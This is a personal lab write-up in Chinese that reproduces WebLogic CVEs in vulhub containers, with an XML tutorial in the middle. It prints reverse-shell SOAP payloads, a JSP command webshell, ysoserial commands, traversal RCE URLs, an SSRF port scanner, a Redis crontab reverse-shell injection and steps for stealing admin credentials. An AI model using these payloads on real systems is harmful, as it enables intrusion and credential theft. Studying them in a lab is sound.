weblogic漏洞复现及xml学习

前言:

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件。

WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。

将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

https://www.yuque.com/yq1ng/java/ipezty

Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞(CVE-2017-10271)

https://vulhub.org/#/environments/weblogic/CVE-2017-10271/
https://paper.seebug.org/487/

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

docker-compose up -d

在这里插入图片描述
一时半会是下载不完了@—_—

~_~

等待一段时间,访问http://your-ip:7001/即可看到一个404页面,说明weblogic已成功启动。
在这里插入图片描述

漏洞复现
在这里插入图片描述

发送如下数据包(注意其中反弹shell的语句<string>bash -i &gt;&amp; /dev/tcp/10.0.0.1/21 0&gt;&amp;1</string>,需要进行编码,否则解析XML的时候将出现格式错误):

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.33.129/21 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

在这里插入图片描述

成功获取shell
在这里插入图片描述

写入webshell(访问:http://your-ip:7001/bea_wls_internal/test.jsp):

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    <void method="println"><string>
    <![CDATA[
<% out.print("test"); %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

别人比较详细的复现 https://blog.csdn.net/yumengzth/article/details/97522783
这个厉害,还带调试的 http://www.wxylyw.com/2018/11/03/WebLogic-XMLDecoder反序列化漏洞/

xml 简单学习

XML教程 https://www.w3school.com.cn/xml/index.asp

XML 的设计宗旨是传输数据,而非显示数据
XML 标签没有被预定义。您需要自行定义标签 ↓。
在这里插入图片描述

XML 是不作为的
也许这有点难以理解,但是 XML 不会做任何事情。XML 被设计用来结构化、存储以及传输信息。

下面是 John 写给 George 的便签,存储为 XML:

<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

上面的这条便签具有自我描述性。它拥有标题以及留言,同时包含了发送者和接受者的信息。
但是,这个 XML 文档仍然没有做任何事情。它仅仅是包装在 XML 标签中的纯粹的信息。我们需要编写软件或者程序,才能传送、接收和显示出这个文档。

使用几行 JavaScript,你就可以读取一个外部 XML 文件,然后更新 HTML 中的数据内容。

  1. XML 的属性值须加引号
    单引号和双引号均可使用
<note date="08/08/2008">

在这里插入图片描述

  1. 实体引用

在 XML 中,一些字符拥有特殊的意义。如果你把字符 “<” 放在 XML 元素中,会发生错误,这是因为解析器会把它当作新元素的开始。为了避免这个错误,请用实体引用来代替 “<” 字符:

<message>if salary &lt; 1000 then</message> 

在这里插入图片描述
3. 属性
在这里插入图片描述
4. 验证xml
在这里插入图片描述

在这里插入图片描述
XML Schema :一种基于 XML 的 DTD 代替者:
XML Schema 可描述 XML 文档的结构。
XML Schema 语言也可作为 XSD(XML Schema Definition)来引用。

<xs:element name="note">

<xs:complexType>
  <xs:sequence>
    <xs:element name="to"      type="xs:string"/>
    <xs:element name="from"    type="xs:string"/>
    <xs:element name="heading" type="xs:string"/>
    <xs:element name="body"    type="xs:string"/>
  </xs:sequence>
</xs:complexType>

</xs:element> 
  1. 使用 CSS 显示 XML
    <?xml-stylesheet type="text/css" href="cd_catalog.css"?>,把这个 XML 文件链接到 CSS 文件:
  2. 使用 XSLT 显示 XML
    在这里插入图片描述
  3. XMLHttpRequest 对象
    用于在后台与服务器交换数据。XMLHttpRequest 对象是开发者的梦想,因为您能够:

1) 在不重新加载页面的情况下更新网页
2) 在页面已加载后从服务器请求数据
3)在页面已加载后从服务器接收数据
4)在后台向服务器发送数据

所有现代浏览器 (IE7+、Firefox、Chrome、Safari 以及 Opera) 都内建了 XMLHttpRequest 对象。
通过一行简单的 JavaScript 代码,我们就可以创建 XMLHttpRequest 对象

xmlhttp=new XMLHttpRequest();
  1. XML 解析器

所有现代浏览器都内建了供读取和操作 XML 的 XML 解析器。
解析器把 XML 载入内存,然后把它转换为可通过 JavaScript 操作、访问的 XML DOM 对象。

解析 XML 文档
下面的代码片段把 XML 文档解析到 XML DOM 对象中:

if (window.XMLHttpRequest)
  {// code for IE7+, Firefox, Chrome, Opera, Safari
  xmlhttp=new XMLHttpRequest();
  }
else
  {// code for IE6, IE5
  xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
  }

xmlhttp.open("GET","books.xml",false);
xmlhttp.send();
xmlDoc=xmlhttp.responseXML; 

在这里插入图片描述
其他方法 1:通过微软的 XML 解析器来加载 XML

微软的 XML 解析器内建于 Internet Explorer 5 以及更高的版本中。

下面的 JavaScript 片段把一个 XML 文档载入解析器中:

var xmlDoc=new ActiveXObject("Microsoft.XMLDOM");
xmlDoc.async="false";
xmlDoc.load("note.xml");

上面代码的第一个行创建一个空的微软 XML 文档对象。
第二行关闭异步加载,这样确保在文档完全加载之前解析器不会继续脚本的执行。
第三行告知解析器加载名为 “note.xml” 的 XML 文档。

在这里插入图片描述
9. XML DOM
(XML Document Object Model) 定义了访问和操作 XML 文档的标准方法。
DOM 把 XML 文档作为树结构来查看。能够通过 DOM 树来访问所有元素。可以修改或删除它们的内容,并创建新的元素。
元素,它们的文本,以及它们的属性,都被认为是节点。

在下面的例子中,我们使用 DOM 引用从 元素中获取文本:

xmlDoc.getElementsByTagName("to")[0].childNodes[0].nodeValue

xmlDoc -由解析器创建的 XML 文档
getElementsByTagName(“to”)[0] - 第一个 元素
childNodes[0] - 元素的第一个子元素(文本节点)
nodeValue - 节点的值(文本本身)
在这里插入图片描述在这里插入图片描述

  1. XML to HTML
    把 XML 数据显示为 HTML。
    本例遍历一个 XML 文件 (cd_catalog.xml),然后把每个 CD 元素显示为一个 HTML 表格行:
<html>
<body>

<script type="text/javascript">
if (window.XMLHttpRequest)
  {// code for IE7+, Firefox, Chrome, Opera, Safari
  xmlhttp=new XMLHttpRequest();
  }
else
  {// code for IE6, IE5
  xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
  }
xmlhttp.open("GET","cd_catalog.xml",false);
xmlhttp.send();
xmlDoc=xmlhttp.responseXML;

document.write("<table border='1'>");
var x=xmlDoc.getElementsByTagName("CD");
for (i=0;i<x.length;i++)
  {
  document.write("<tr><td>");
  document.write(x[i].getElementsByTagName("ARTIST")[0].childNodes[0].nodeValue);
  document.write("</td><td>");
  document.write(x[i].getElementsByTagName("TITLE")[0].childNodes[0].nodeValue);
  document.write("</td></tr>");
  }
document.write("</table>");
</script>

</body>
</html>

TIY:在 HTML 表格中显示 XML 数据。

例子解释
检测浏览器,然后使用合适的解析器来加载 XML
创建一个 HTML 表格(<table border="1">)
使用 getElementsByTagName() 来获得所有 XML 的 CD 节点
针对每个 CD 节点,把 ARTIST 和 TITLE 中的数据显示为表格数据
</table> 结束表格

导航浏览xml数据

  1. XML 命名空间

Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据,
服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机.

T3协议在开放WebLogic控制台端口的应用上默认开启.

weblogic对rmi规范的实现叫T3协议
T3传输协议是WebLogic的自有协议,它有如下特点:

1、服务端可以持续追踪监控客户端是否存活(心跳机制),通常心跳的间隔为60秒,服务端在超过240秒未收到心跳即判定与客户端的连接丢失。
2、通过建立一次连接可以将全部数据包传输完成,优化了数据包大小和网络消耗。

在这里插入图片描述

攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击.

https://blog.csdn.net/xuandao_ahfengren/article/details/106597145

在这里插入图片描述

漏洞复现:https://www.cnblogs.com/Found404/p/14179163.html

  1. 在192.168.33.1攻击机win10上使用ysoserial-cve-2018-2628工具,监听端口3333,启动一个JRMP Server
java -cp "ysoserial-0.1-cve-2018-2628-all.jar" ysoserial.exploit.JRMPListener 3333 Jdk7u21 "touch /tmp/test"

注:jdk版本只要大于1.7,直接填Jdk7u21就可以了
在这里插入图片描述
2. 在攻击机执行exploit.py ,向目标Weblogic(http://your-ip:7001)发送数据包:

python27 exploit.py 192.168.33.130 7001 ysoserial-0.1-cve-2018-2628-all.jar 192.168.33.1 3333 JRMPClient

在这里插入图片描述出现这种情况 ↑ 代表已经成功!如果没成功可能有2个原因:
(1)python版本不对,脚本执行报错,建议使用python2
(2)主机防火墙开着,靶机可能访问不了主机监听的端口,可以试着直接关掉防火墙

在这里插入图片描述

  1. 在靶机查看,test文件被创建成功
    docker-compose exec weblogic bash进入容器
    在这里插入图片描述
    Ctrl+D 退出容器

Weblogic 任意文件上传漏洞(CVE-2018-2894)

WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限。两个页面分别为/ws_utc/begin.do,/ws_utc/config.do

ws_utc/config.do在开发模式下无需认证,在生产模式下需要认证

访问http://your-ip:7001/console,即可看到后台登录页面。

执行docker-compose logs | grep password可查看管理员密码dZZd9rBR,管理员用户名为weblogic。
在这里插入图片描述

登录后台页面,点击base_domain的配置,在“高级”中开启“启用 Web 服务测试页”选项:
在这里插入图片描述在这里插入图片描述

漏洞复现

访问http://your-ip:7001/ws_utc/config.do,在这里插入图片描述

设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。将目录设置为ws_utc应用的静态文件css目录,因为访问这个目录是无需权限的,这一点很重要。

然后点击安全 -> 增加,然后上传webshell:
在这里插入图片描述

<%@ page import="java.util.*,java.io.*,java.net.*"%>
<HTML><BODY>
<FORM METHOD="POST" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
        Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); disr = dis.readLine(); }
        }
%>
</pre>
</BODY></HTML>

上传后,查看返回的数据包,其中有时间戳:
在这里插入图片描述
访问http://192.168.33.130:7001/ws_utc/css/config/keystore/1637658490425_chybeta.jsp
[时间戳]_[文件名],即可执行webshell:没有成功meiy

在这里插入图片描述

上传冰蝎ma试试

WebLogic管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)

CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。
使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

https://blog.csdn.net/qq_41901122/article/details/111283269
https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2020-14882/README.zh-cn.md

在这里插入图片描述
启动一个Weblogic 12.2.1.3版本的服务器。

http://your-ip:7001/console 即可查看到后台登录页面。

漏洞复现

首先测试权限绕过漏洞(CVE-2020-14882),访问以下URL,即可未授权访问到管理后台页面:

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal
在这里插入图片描述访问后台后,可以发现我们现在是低权限的用户,无法安装应用,所以也无法直接执行任意代码:

此时需要利用到第二个漏洞CVE-2020-14883

这个漏洞的利用方式有两种,一是通过com.tangosol.coherence.mvel2.sh.ShellSession,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

直接 访问 如下URL,即可利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令:

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
http://192.168.1.131:7001/console/images/%252E%252E%252Fconsole.portal
?_nfpb=true
&_pageLabel=HomePage1
&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27notepad.exe%27);%22)

进入容器,可以发现touch /tmp/success1已成功执行:
在这里插入图片描述
这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种更为通杀的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效。

首先,我们需要 构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,如 http://example.com/rce.xml:

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[touch /tmp/success2]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:这个利用方法也有自己的缺点,就是需要Weblogic的服务器能够访问到恶意XML。

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")

在这里插入图片描述
源码分析 https://www.cnblogs.com/unicodeSec/p/13895120.html
在这里插入图片描述

Weblogic SSRF漏洞

https://www.cnblogs.com/bmjoker/p/9759761.html

Weblogic服务端请求伪造漏洞出现在uddi组件(所以安装Weblogic时如果没有选择uddi组件那么就不会有该漏洞),

更准确地说是uudi包实现包uddiexplorer.war下的SearchPublicRegistries.jsp
所以修复的直接方法是将SearchPublicRegistries.jsp直接删除就好了

利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。

访问http://your-ip:7001/uddiexplorer/,无需登录即可查看uddiexplorer应用。
在这里插入图片描述

SSRF漏洞测试

SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp,我们在brupsuite下测试该漏洞。
在这里插入图片描述

访问一个可以访问的IP:PORT,如http://127.0.0.1:80:

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

通过错误的不同,可探测内网状态

可访问的端口 将会得到错误,一般是返回status code(如下图),如果访问的非http协议,则会返回did not have a valid SOAP content-type。

修改为一个 不存在的端口,将会返回could not connect over HTTP to server。

我的都是返回这个,都没复现成功
在这里插入图片描述

注入HTTP头,利用Redis反弹shell

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),
一个python 脚本来实现内网端口探测这个功能:

import thread
import time
import re
import requests


def ite_ip(ip):
    for i in range(1, 256):
        final_ip = '{ip}.{i}'.format(ip=ip, i=i)
        print final_ip
        thread.start_new_thread(scan, (final_ip,))
        time.sleep(3)

def scan(final_ip):
    ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')
    for port in ports:
        vul_url = 'http://192.168.33.130:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)
        try:
            #print vul_url
            r = requests.get(vul_url, timeout=15, verify=False)
            result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)
            result2 = re.findall('but could not connect', r.content)
            result3 = re.findall('No route to host', r.content)  
            if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:
                print '[!]'+final_ip + ':' + port
        except Exception, e:
            pass


if __name__ == '__main__':
    ip = "172.18.0"  
    if ip:
        print ip
        ite_ip(ip)
    else:
        print "no ip"

发现172.18.0.2:6379可以连通:
发送三条redis命令,将弹shell脚本写入/etc/crontab:

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

进行url编码:

set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

在这里插入图片描述
注意,换行符是“\r\n”,也就是“%0D%0A”。

将url编码后的字符串放在ssrf的域名后面,发送:

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

成功反弹:

最后补充一下,可进行利用的cron有如下几个地方:

/etc/crontab 这个是肯定的
/etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
/var/spool/cron/root centos 系统下root用户的cron文件
/var/spool/cron/crontabs/root debian 系统下root用户的cron文件

weblogic文件读取漏洞

Weblogic 常规渗透测试环境

测试环境

本环境模拟了一个真实的weblogic环境,其后台存在一个弱口令,并且前台存在任意文件读取漏洞。分别通过这两种漏洞,模拟对weblogic场景的渗透。

Weblogic版本:10.3.6(11g)
Java版本:1.6

弱口令 (假装不知道)

weblogic
Oracle@123

weblogic常用弱口令: http://cirt.net/passwords?criteria=weblogic

任意文件读取漏洞的利用

假设不知道弱口令,如何对weblogic进行渗透?

通过 本环境前台模拟的一个任意文件下载漏洞,访问http://your-ip:7001/hello/file.jsp?path=/etc/passwd可见成功读取passwd文件。
在这里插入图片描述

那么,该漏洞如何利用?

读取后台用户密文与密钥文件

weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。
这两个文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml

,在本环境中为./security/SerializedSystemIni.dat和./config/config.xml(基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain)。

SerializedSystemIni.dat 是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。
在burp里选中读取到的那一串乱码,右键 copy to file 就可以保存成一个文件 xx.dat:
在这里插入图片描述

config.xml 是 base_domain 的全局配置文件,所以乱七八糟的内容比较多,找到其中的<node-manager-password-encrypted>的值,即为加密后的管理员密码,不要找错了:

在这里插入图片描述{AES}yvGnizbUS0lga6iPA5LkrQdImFiS/DJ8Lw/yeE7Dt0k=

解密密文

然后使用本环境的decrypt目录下的 weblogic_decrypt.jar,解密密文:我没解密出来
在这里插入图片描述

可见,解密后和我预设的密码一致,说明成功。

后台上传webshell

获取到管理员密码后,登录后台 我登录不进去 。点击左侧的部署,可见一个应用列表:

点击安装,选择“上载文件”:

上传war包。值得注意的是,我们平时tomcat用的war包不一定能够成功,你可以将你的webshell放到本项目的web/hello.war这个压缩包中,再上传。上传成功后点下一步。

填写应用名称:

继续一直 “下一步”,最后点完成。

应用目录在war包中WEB-INF/weblogic.xml里指定(因为本测试环境已经使用了/hello这个目录,所以你要在本测试环境下部署shell,需要修改这个目录,比如修改成/jspspy):

成功获取webshell:

https://www.freebuf.com/articles/web/247447.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值